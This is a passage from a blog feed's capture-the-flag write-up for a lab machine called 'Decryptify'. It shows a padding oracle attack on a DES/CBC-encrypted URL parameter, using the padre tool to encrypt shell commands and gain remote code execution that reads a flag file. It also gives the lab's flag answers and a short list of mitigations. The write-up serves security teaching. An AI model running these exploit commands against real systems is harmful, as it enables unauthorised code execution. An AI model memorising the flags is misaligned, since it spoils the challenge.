</span></span></span></code></pre></div><p><img alt="15" loading="lazy" src="/images/tactics/decryptify/16.png"></p>
<p>Output:</p>
<ul>
<li><code>MTc0OTQ0NzAzNw==</code></li>
</ul>
<p>After attempting to log in as an <code>admin@fake.thm</code> using the generated invitation code <code>MTc0OTQ0NzAzNw==</code> it returned a failed attempt. Then, accessing as an admin uses a different encryption process.</p>
<h3 id="step-3-padding-oracle-attack">Step 3: Padding Oracle Attack</h3>
<p>Going back to <code>hello@fake.thm</code> account but this time using <code>Burp Suite</code> to observe all the interactions with the web service. Capturing the packet from the <code>Proxy</code> feature and sending the packet into <code>Repeater</code> to observe the response from the server.
<img alt="16" loading="lazy" src="/images/tactics/decryptify/17.png"></p>
<p>There is a <code>hidden</code> input. The <code>hidden</code> input is declared as <code>date</code> with the value <code>bRBHqQfs9f4UhFIitZJJelGfu+ezN6Ijmd7fg++7NVk=</code>, this value changes on each refresh from the page.
By deleting the value as an empty string and refreshing the web page to see if something happens.
<img alt="17" loading="lazy" src="/images/tactics/decryptify/18.png"></p>
<p>Error Output:</p>
<ul>
<li><code>Padding error: error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length</code></li>
</ul>
<p>This system error displays the decryption operation reached the final block and the padding check failed. After a google search for the error <code>EVP_DecryptFinal</code> is part of <code>OpenSSL API</code>.
After sending a few requests using different <code>date</code>values a new error emerged.
<img alt="18" loading="lazy" src="/images/tactics/decryptify/19.png"></p>
<p>Output:</p>
<ul>
<li><code>Warning: openssl_decrypt(): IV passed is only 1 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0 in /var/www/html/dashboard.php on line 28</code></li>
</ul>
<p>This error means the code is calling <code>openssel_decrypt()</code> function with an <code>IV</code> (initialization vector) of the wrong length. The cipher/mode being used requires an <strong>8-bytes</strong>. This value is common in ciphers such as <strong>DES/3DES</strong> in <strong>CBC mode</strong>. The value that we are providing is the <code>IV</code>.</p>
<p>After a research through the Internet, <strong>DES/3DES</strong> in <strong>CBC mode</strong> are susceptible into <strong>padding oracle</strong> and <strong>bit-flipping</strong>.</p>
<ul>
<li><strong>Padding oracle attack</strong>: exploits how padding errors are handled. It occurs when the application reveals whether the padding of a decrypted message is valid or not, this enables to gain information about the plaintext without knowing the encryption key.</li>
</ul>
<p>After <code>dorking</code> (<code>site: github.com php padding oracle attack</code>) through the internet to get a program that exploits this specific vulnerability. A good candidate was <a href="https://github.com/glebarez/padre"><code>padre</code></a>, it supports tokens in <code>GET/POST</code> parameters and <code>Cookies</code>. Download the latest version and grant executable permissions using <code>chmod +x padre_linux_amd64</code>.</p>
<p>After some try and error and getting used to the new tool,<code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'ls'</code>
<img alt="19" loading="lazy" src="/images/tactics/decryptify/20.png"></p>
<p>Output:</p>
<ul>
<li><code>fXGHJVbs4t9lbmJyaWVhcw==</code></li>
</ul>
<p>Executing again the same command but modifying the command that we want to execute, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' 'fXGHJVbs4t9lbmJyaWVhcw=='</code>
<img alt="20" loading="lazy" src="/images/tactics/decryptify/21.png"></p>
<p>The system returned an output, therefore trying the specific path from the last flag question <code>/home/ubuntu/flag.txt</code>, <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' -enc 'cat /home/ubuntu/flag.txt'</code>
<img alt="21" loading="lazy" src="/images/tactics/decryptify/23.png"></p>
<p>Output:</p>
<ul>
<li><code>8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code></li>
</ul>
<p>Once having the encrypted command to get the flag we are going to use the following command <code>./padre-linux-amd64 -u 'http://10.114.184.31:1337/dashboard.php?date=$' -cookie 'PHPSESSID=754794498illlflv78gufj90hl' '8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw=='</code></p>
<p>Having this value now its time to insert as the date value on the dashboard URL, <code>http://10.114.184.31:1337/dashboard.php?date=8ToOYHlh0PuGepheR0TEN66XK6YqUx4yZQWGJFft495lbmJyaWVhcw==</code>
<img alt="22" loading="lazy" src="/images/tactics/decryptify/24.png"></p>
<p>Output:</p>
<ul>
<li><code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ul>
<blockquote>
<p><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By exploiting a weak pseudo-random number generator (<code>mt_rand()</code>) in the invitation code generation system, we successfully predicted valid invitation codes for any user email. This granted us access to the dashboard where we discovered a padding oracle vulnerability in the DES/CBC encryption implementation. Using the <code>padre</code> tool, we leveraged the padding oracle to achieve remote code execution and retrieve the final flag.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Cryptographically Secure Random Number Generation</strong>: replace <code>mt_rand()</code> with <code>random_int()</code> or <code>openssl_random_pseudo_bytes()</code> for security-critical operations.</li>
<li><strong>Remove Error Leakage</strong>: implement generic error messages that don&rsquo;t reveal internal cryptographic details.</li>
<li><strong>Input Validation</strong>: validate and sanitize all user inputs, especially encrypted parameters passed to decryption functions.</li>
<li><strong>Use Authenticated Encryption</strong>: implement AEAD modes instead of CBC mode to prevent padding oracle attacks entirely.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>Flag after logging into the panel</strong>: <code>THM{CryptographyPwn007}</code></li>
<li><strong>Content of the <code>/home/ubuntu/flag.txt</code>:</strong> <code>THM{GOT_COMMAND_EXECUTION001}</code></li>
</ol>
]]></content:encoded></item></channel></rss>